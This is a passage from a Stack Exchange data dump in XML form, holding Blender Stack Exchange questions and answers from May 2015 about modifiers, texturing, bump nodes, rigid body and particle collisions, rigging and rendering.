objects&lt;/li&gt;&#xA;&lt;li&gt;press Ctrl + Up/Down to change the seed value for the random location&lt;/li&gt;&#xA;&lt;li&gt;Enter or Esc to finish up, or click outside of the 3dview.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mCi6w.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2016-01-10T19:54:19.323" LastActivityDate="2016-01-10T19:54:19.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30946" PostTypeId="2" ParentId="30944" CreationDate="2015-05-16T16:40:45.617" Score="5" Body="&lt;ul&gt;&#xA;&lt;li&gt;The array modifier can repeat an object with additional space.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The array modifier with Fit Length below.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/cBbUy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The array modifier can repeat object along a curve.  Curves can be straight lines as well.  Fit Curve below.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QPhNf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The array modifier is dynamic or can be applied for static placement.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Perhaps the array modifier is more powerful than that other feature in that other software.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Particle systems can also repeat geometry.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-05-16T17:13:25.440" LastActivityDate="2015-05-16T17:13:25.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30947" PostTypeId="2" ParentId="30874" CreationDate="2015-05-16T16:44:53.573" Score="13" Body="&lt;p&gt;You can join (&lt;kbd&gt;J&lt;/kbd&gt;) the faces. Like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Bsysg.gif&quot; alt=&quot;Join the faces&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11288" LastEditorUserId="3710" LastEditDate="2015-05-16T17:05:56.847" LastActivityDate="2015-05-16T17:05:56.847" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30948" PostTypeId="1" CreationDate="2015-05-16T20:11:55.970" Score="1" ViewCount="821" Body="&lt;p&gt;I tried rigging, doesnt work. I tried exporting it with curve unapplied, doesnt work. What WILL work? I am grappling for help right now, Ive looked at everything. Please help me, I need help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a conveyor belt with a curve modifier unapplied. I move a cube and the tracks roll. the object doesnt actually move. I have tried rigging it with bones because i thought there was no other answer and spent 3 days on tutorials and 8 days total on this issue. I import it to unity, and it suddenly isnt rolling, but translating. It just moves, because the curve rolls in blender when i move it, but in unity it just moves the whole thing. I need help.&lt;/p&gt;&#xA;" OwnerUserId="9495" LastEditorUserId="9495" LastEditDate="2015-05-16T20:44:56.040" LastActivityDate="2015-06-03T12:29:12.907" Title="How can I make a conveyor belt FBX that spins without rigging?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30949" PostTypeId="1" CreationDate="2015-05-16T20:18:39.607" Score="2" ViewCount="62" Body="&lt;p&gt;I have animated the alpha value of a material. At one frame, the material is all dark, at the next´, it is as it should be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the material in the two frames:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/5hF0K.png&quot; alt=&quot;material in two frames&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was hoping that you could give me an idea what went wrong. &lt;/p&gt;&#xA;" OwnerUserId="2764" LastActivityDate="2015-05-16T20:18:39.607" Title="material not fading alpha smoothly in blender internal" Tags="&lt;animation&gt;&lt;materials&gt;&lt;transparency&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30950" PostTypeId="2" ParentId="30936" CreationDate="2015-05-16T20:44:37.920" Score="3" Body="&lt;p&gt;Change the speed setting under Rigid Body World in the Scene settings.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/sipmq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user7952" LastActivityDate="2015-05-16T20:44:37.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30951" PostTypeId="1" CreationDate="2015-05-16T20:55:14.550" Score="6" ViewCount="3612" Body="&lt;p&gt;So I have a stain texture I want to use. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CI066.jpg&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But as you can see it's not a splat, like this one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cwtm8.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really want to use the first one, but its a rectangle. So I want to know how to make it grow transparent around the edges of the texture (which I want to put on a plane and put in front of my wall in the scene) in Cycles so it fades out and fits in better with my scene.&lt;/p&gt;&#xA;" OwnerUserId="14413" LastActivityDate="2015-05-17T10:43:26.187" Title="Need Texture To Fade Around the Edges" Tags="&lt;texturing&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30952" PostTypeId="2" ParentId="30951" CreationDate="2015-05-16T21:39:26.327" Score="6" Body="&lt;p&gt;I once had to do something similar, and I've used two different solutions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Simply add an alpha channel to the image, or create a separate grayscale alpha map to use alongside it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Inset the mesh, with the resulting face being close to the edges (or further, as desired).  Then go to Vertex Paint mode, and set the vertices along the edge to black, and the other vertices to white.  The Vertex Colors are exposed to cycles via the Input-&gt;Attribute node, where you type in the name of the Vertex Color dataset (Col by default).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get the transparency, you plug the alpha (either a map, channel, or vertex color attribute) into the factor input of a Mix Shader node, with one input being Diffuse BSDF (or whatever you're using) and the other being a Transparent BSDF node.  You can use the Color-&gt;Contrast node on the alpha input to make it less gradual, or use a Converter-&gt;Color Ramp instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The image below demonstrates the second technique, using vertex colors:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/m3ZiQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1897" LastActivityDate="2015-05-16T21:39:26.327" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30953" PostTypeId="1" CreationDate="2015-05-16T21:58:14.010" Score="2" ViewCount="589" Body="&lt;p&gt;I am trying to understand how to cleanly and efficiently layer two images, which will both be connected to a Bump node's Height input, while retaining the ability to control the Strength value of each contributing image. One of the images will also be used as the Factor value in a Mix Shader node. Here is my node work with an empty area where my question is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SEv8l.png&quot; alt=&quot;Nodework&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9504" LastActivityDate="2015-05-17T04:22:03.143" Title="How can I layer two images, to be used as height information in a Bump node, while retaining control of the Strength Value of each?" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="30954" PostTypeId="2" ParentId="23360" CreationDate="2015-05-16T22:49:12.613" Score="0" Body="&lt;p&gt;The key configuration from pixelbiotics is a good option. All of the common commands are taken care of. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing you can do is this. &#xA;In your language settings keep the qwerty layout as a second option, and use the key commands to switch back and forth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Windows 8 and 8.1 = &lt;kbd&gt;windows key&lt;/kbd&gt; &lt;kbd&gt;space&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Windows 7 = &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm a Dvorak user myself, and sometimes others use my computer both at home and at work.&lt;/p&gt;&#xA;" OwnerUserId="14414" LastEditorUserId="2217" LastEditDate="2015-05-17T02:21:05.723" LastActivityDate="2015-05-17T02:21:05.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30957" PostTypeId="1" AcceptedAnswerId="30958" CreationDate="2015-05-17T01:06:21.403" Score="3" ViewCount="2131" Body="&lt;p&gt;I'm trying to get a couple asteroids to collide, however they collide without touching each other. How do I go about getting them to collide when closer together, or actually touching?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FCoWV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/x6a1i.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tried changing the collision margin to no effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/b2ewW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13512" LastActivityDate="2015-05-17T01:42:26.500" Title="Objects don't touch when they collide?" Tags="&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30958" PostTypeId="2" ParentId="30957" CreationDate="2015-05-17T01:42:26.500" Score="5" Body="&lt;p&gt;To enable accurate object collision, in Physics tab change Collision Shape of the rigid body to &lt;strong&gt;Mesh&lt;/strong&gt; instead of default &lt;strong&gt;Convex Hull.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tTsYx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-05-17T01:42:26.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30959" PostTypeId="2" ParentId="30893" CreationDate="2015-05-17T02:15:44.970" Score="0" Body="&lt;p&gt;The box is having weird collision with the player, you can probably see this happening if you use &quot;physics visualization&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/37xUz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To solve, switch the physics type of the box to &quot;static&quot; and have it clamp to the travel path that it needs to glide along. I made a working &lt;a href=&quot;http://www.pasteall.org/blend/36090&quot; rel=&quot;nofollow noreferrer&quot;&gt;.blend&lt;/a&gt; aside from the &quot;clamp to&quot; because I'm not sure of your situation.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-05-17T02:15:44.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30960" PostTypeId="1" CreationDate="2015-05-17T02:34:08.167" Score="1" ViewCount="144" Body="&lt;p&gt;I have two large objects, both have the same rigid body and collider settings. I have a particle emitter between the two of them. When the particles are emitted they bounce off of one of the objects and pass through the other one. Is there some setting I'm missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qrcTc.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/6phHz.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/SG5fe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You guys have been great thus far, any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Have done loads of google searches and can't really figure out why the particles pass through one object and not the other, even when they both have the same settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought it might be because the asteroids where on different layers, I had partial success moving everything to the same layer. However that was a false positive, only some of the particle actually deflect off, while the majority pass through.&lt;/p&gt;&#xA;" OwnerUserId="13512" LastEditorUserId="13512" LastEditDate="2015-05-17T15:15:26.733" LastActivityDate="2015-05-17T15:15:26.733" Title="Particles are passing through one object and deflecting off another?" Tags="&lt;particles&gt;&lt;rigid-body-simulation&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30961" PostTypeId="1" AcceptedAnswerId="30965" CreationDate="2015-05-17T03:08:27.167" Score="4" ViewCount="125" Body="&lt;p&gt;I've had blender for less than a week, so some of my issues are quite easy to fix, or are just plain obvious. I have been trying to texture a lighthouse model I've made, but every time I do so, the textures become extremely weird. From what I've picked up, you have to have a material for each partition you want to texture. I did that, then began to map my brick texture on the base of the lighthouse. All was looking good in texture view, but when I hit render, this happened:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IDtqc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind I was not texturing the cylindrical piece below. I only have 1 material each for the 6 partitions, but somehow this is happening. Thank you for any help, and sorry for any unclear explanation.  &lt;/p&gt;&#xA;" OwnerUserId="14419" LastEditorDisplayName="user7952" LastEditDate="2015-05-17T07:47:46.237" LastActivityDate="2015-05-17T07:47:46.237" Title="Why does this happen every time I unwrap my textures?" Tags="&lt;texturing&gt;&lt;materials&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30962" PostTypeId="2" ParentId="30903" CreationDate="2015-05-17T03:27:35.623" Score="0" Body="&lt;p&gt;I managed to figure it out on my own.  Basically I needed to do less desaturation than I was doing on the fur, and apply more (as opposed to none) desaturation to the underlying skin.  That, and also doubling (and then clamping) the brightness of the transmission color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This .blend contains the tweaks I did to fix it up: &lt;a href=&quot;http://www.pasteall.org/blend/36094&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/36094&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And below is a render of the fixed shader.  Probably not 100% realistic, but it's better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/muCSw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1897" LastActivityDate="2015-05-17T03:27:35.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30963" PostTypeId="1" CreationDate="2015-05-17T03:51:07.670" Score="3" ViewCount="52" Body="&lt;p&gt;I need a texture to be animated with AnimAll and have transparency at the same time. Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the .blend file. It is the bird that encounters the problem. I'm trying to make its wings flap.&#xA;&lt;a href=&quot;https://drive.google.com/file/d/0B2VC7joyS00fNUdPYWk1M0ZoWTA/view?usp=sharing&quot; rel=&quot;nofollow&quot;&gt;https://drive.google.com/file/d/0B2VC7joyS00fNUdPYWk1M0ZoWTA/view?usp=sharing&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13969" LastEditorUserId="13969" LastEditDate="2015-05-17T14:13:41.880" LastActivityDate="2015-05-17T14:13:41.880" Title="Cycles texture with alpha doesn't work after using AnimAll for animating UVs" Tags="&lt;animation&gt;&lt;transparency&gt;" AnswerCount="0" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30964" PostTypeId="2" ParentId="30953" CreationDate="2015-05-17T04:17:00.760" Score="1" Body="&lt;p&gt;Keep in mind, the contrast of the textures you use is important. If one texture is extremely contrast and one has only grey values ranging from 0.3 to 0.5, the contrast one will almost always be the more visible one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the &lt;code&gt;Bump&lt;/code&gt; node is basically a game of values (brightness/darkness of the pixel). You should convert coloured images to black and white using &lt;code&gt;Converter-&amp;gt;RGB to BW&lt;/code&gt; node (they are converted anyway)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also keep in mind that both textures should have brighter colors on the &quot;hills&quot; and darker colors in the &quot;crevices&quot; of the surface. Alternatively you can check Invert on the &lt;code&gt;Bump&lt;/code&gt; node to have it the other way, but both textures should correspond with each other in this area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Bump&lt;/code&gt; node calculates the normal map based on the difference of the values of the pixels given to it. So basically you should be careful when mixing two or more textures - their actual values and the way they are mixed using &lt;code&gt;MixRGB&lt;/code&gt; is important. You can also use &lt;code&gt;Math&lt;/code&gt; node by the way. Since values of bitmaps are actually math anyway but both ways have their pros and cons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It mostly depends on what you are actually trying to accomplish. Usual case I've seen is mixing the main UV mapped bump map of the model with a second one which is for detail - little perforations/scratches/bumps/glued dirt. This detail bump map is usually mapped using &lt;code&gt;Texture Coordinate-&amp;gt;Object&lt;/code&gt; and the texture having &lt;code&gt;Box&lt;/code&gt; mapping instead of &lt;code&gt;Flat&lt;/code&gt; mapping. Detail bump maps don't really need elaborate UV mapping since it's only important that the detail mapping is uniform.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Initially I should give some information about &lt;code&gt;MixRGB&lt;/code&gt; node, since it's important here. It has 2 inputs. The top one is the &quot;main&quot; input. It is the one that the chosen function will alter based on the input values of the lower input and then this altered version of it can be grabbed on the output. This is true for all function except Mix, which basically mixes the inputs according to the factor (fac) you choose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever you want to mix a detail bump map onto an actual bump map, remember that there are basically 2 ways to choose from depending on the given case.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Crevices&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If it's a general bump map of bricks and then a detail bump map of the&#xA;  little perforations in the brick (meaning you want to add crevices and&#xA;  not hills), it should be mixed so the crevices are darker than the&#xA;  upper input. The way you mix it is dependent on the actual texture's&#xA;  contrast and values.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Hills&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;On the other hand, when the detail bump map is meant to depict small&#xA;  bumps (hills - like dried color drops) on the surface, it should be&#xA;  mixed so the bumps are lighter than the upper input. The way you mix&#xA;  it is dependent on the actual texture's contrast and values.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As to the other question of controlling which texture is stronger. You must give me an actual material and textures for which to solve this, since it would take way too much time to talk about all types of possibilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All wrapped up, there is really no true way to mix bump maps in an organized way unless you get your actual bitmap texture values organized. Ie what is lighter/darker than the other. Most of the time, a simple &lt;code&gt;MixRGB-&amp;gt;Mix&lt;/code&gt; might work. But I'd recommend using a &lt;code&gt;Converter-&amp;gt;Math-&amp;gt;Multiply&lt;/code&gt; before putting the values in the inputs of the &lt;code&gt;MixRGB&lt;/code&gt;. You can then change the values in the multiply nodes to strengthen/weaken the bump textures.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;First tip - You can always check the values you are working with using the Emission shader. Remember though, that in &lt;code&gt;Properties-&amp;gt;Scene-&amp;gt;Color Management&lt;/code&gt; you often need to change the exposure or gamma to see certain changes in values, since your monitor can't dislay all of them most of the time.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Second tip -Try using &lt;code&gt;Converter-&amp;gt;Color Ramp&lt;/code&gt; or &lt;code&gt;Color-&amp;gt;RGB Curves&lt;/code&gt; to alter the textures without using 2D editor.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4859" LastEditorUserId="4859" LastEditDate="2015-05-17T04:22:03.143" LastActivityDate="2015-05-17T04:22:03.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30965" PostTypeId="2" ParentId="30961" CreationDate="2015-05-17T04:51:52.077" Score="3" Body="&lt;p&gt;Make sure in your textures tab , The uv co - ordinates are set to UV&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DCM2n.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure to UV unwarp your model before texturing!&lt;/p&gt;&#xA;" OwnerUserId="1829" LastActivityDate="2015-05-17T04:51:52.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30966" PostTypeId="1" CreationDate="2015-05-17T05:49:07.633" Score="2" ViewCount="945" Body="&lt;p&gt;i already attached the right hand's bone to the weapon's main grip (using select weapon &gt; ctrl+p &gt; to bone ), &lt;/p&gt;&#xA;&#xA;&lt;p&gt;now i want the left hand (with the same holding position) to keep automatically following the weapon's front grip. what should i do ?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/clx9i.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DH6GU.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14420" LastActivityDate="2015-05-17T05:52:46.877" Title="how can i Attach both hands to the same object (gun's main grip and front grip)?" Tags="&lt;bones&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30967" PostTypeId="2" ParentId="30966" CreationDate="2015-05-17T05:52:46.877" Score="2" Body="&lt;p&gt;You have to make a seperate bones and on the wrist use the copy transforms constraint. Place the Seperate bone at the foregrip , apply the constraint to the wrist and the should follow , You will need to tweak the position of the bone , but it will work.&lt;/p&gt;&#xA;" OwnerUserId="1829" LastActivityDate="2015-05-17T05:52:46.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30968" PostTypeId="1" CreationDate="2015-05-17T06:02:14.470" Score="2" ViewCount="611" Body="&lt;p&gt;I'm trying to make a render with dual Titan X's, they have 12GB of VRAM each. If I ramp the tile size up it eventually slows down seemingly due to hitting a 2GB cap? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to have the cycles renderer utilize more than 2GB of VRAM?&lt;/p&gt;&#xA;" OwnerUserId="13512" LastActivityDate="2015-05-17T06:02:14.470" Title="Can Cycles CUDA utilize more than 2GB of VRAM?" Tags="&lt;cycles-render-engine&gt;&lt;memory-management&gt;" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="30969" PostTypeId="2" ParentId="30918" CreationDate="2015-05-17T06:15:16.217" Score="4" Body="&lt;p&gt;In camera properties tab alter the focus distance.&lt;/p&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2015-05-17T06:15:16.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30970" PostTypeId="1" AcceptedAnswerId="30971" CreationDate="2015-05-17T07:11:12.677" Score="5" ViewCount="1481" Body="&lt;p&gt;How can I change the angle of an object like at 19:44 of &lt;a href=&quot;https://youtu.be/mu9J0D6ebVw?t=1167&quot; rel=&quot;nofollow&quot;&gt;https://youtu.be/mu9J0D6ebVw?t=1167&lt;/a&gt; when he adds wingtips?&lt;/p&gt;&#xA;" OwnerUserId="14421" LastEditorUserId="2217" LastEditDate="2015-05-17T17:48:59.857" LastActivityDate="2015-05-19T13:01:06.167" Title="How can I change the angle of an edge loop?" Tags="&lt;modeling&gt;&lt;edges&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30971" PostTypeId="2" ParentId="30970" CreationDate="2015-05-17T07:34:18.273" Score="8" Body="&lt;p&gt;I think you mean Shear? &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt; with selected vertices, then drag the mouse cursor around to effect the amount. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4cRQx.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I think he uses a simple Rotate (&lt;kbd&gt;R&lt;/kbd&gt;), with the pivot point set to &lt;em&gt;Median Point&lt;/em&gt;, then move the mouse to adjust the rotation amount.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/e0KpT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-05-19T13:01:06.167" LastActivityDate="2015-05-19T13:01:06.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30973" PostTypeId="1" CreationDate="2015-05-17T09:05:21.627" Score="3" ViewCount="153" Body="&lt;p&gt;I'm developing what's going to be a relatively complex keyed particle system. Problem is, in a regular keyed system, in most software where there's a timeline you can move one key and subsequent keys will move automatically along the timeline to accommodate. This is useful when I've got the framework of an animation but just want to make a part of the animation longer or shorter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even in Blender I know you can do this for regular animations. But is this possible for keyed particle systems, without having to change each and every keyed point by manually working out and changing the frame number?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's easier to explain in a video&#xA;&lt;a href=&quot;https://youtu.be/UOmkM93CnaI&quot; rel=&quot;nofollow&quot;&gt;https://youtu.be/UOmkM93CnaI&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3437" LastEditorUserId="3437" LastEditDate="2015-05-17T14:56:40.980" LastActivityDate="2015-05-17T14:56:40.980" Title="Moving all particle keys at once?" Tags="&lt;particles&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30974" PostTypeId="2" ParentId="30951" CreationDate="2015-05-17T09:31:39.893" Score="4" Body="&lt;p&gt;If you load the image into Blender using the bundled &lt;strong&gt;&lt;em&gt;Import Images As Planes&lt;/em&gt;&lt;/strong&gt; Addon and then enter Texture Paint mode, you can isolate parts of the image you want to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used the &lt;strong&gt;&lt;em&gt;Color Burn&lt;/em&gt;&lt;/strong&gt; paint mode to darken the center areas and &lt;strong&gt;&lt;em&gt;Color Dodge&lt;/em&gt;&lt;/strong&gt; to lighten the edges of the image to hide the &quot;Squareness&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the image can be saved with a different name as a second image to be used as a mask.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bdOsB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if you setup the Cycles nodes as shown in the previous image and adjust the &lt;strong&gt;&lt;em&gt;Color Ramp&lt;/em&gt;&lt;/strong&gt; node, you can alter what parts of the original image are shown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cYR2j.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have it looking the way you want, you can duplicate the image in your hard-drive directory, rename it, and then dragNdrop it into the Node Editor.  Now if you bake the material, this texture will contain the final result so it can be used for any Blender renderer or external program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JAFU2.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the final baked image.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0kFUT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2015-05-17T10:43:26.187" LastActivityDate="2015-05-17T10:43:26.187" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
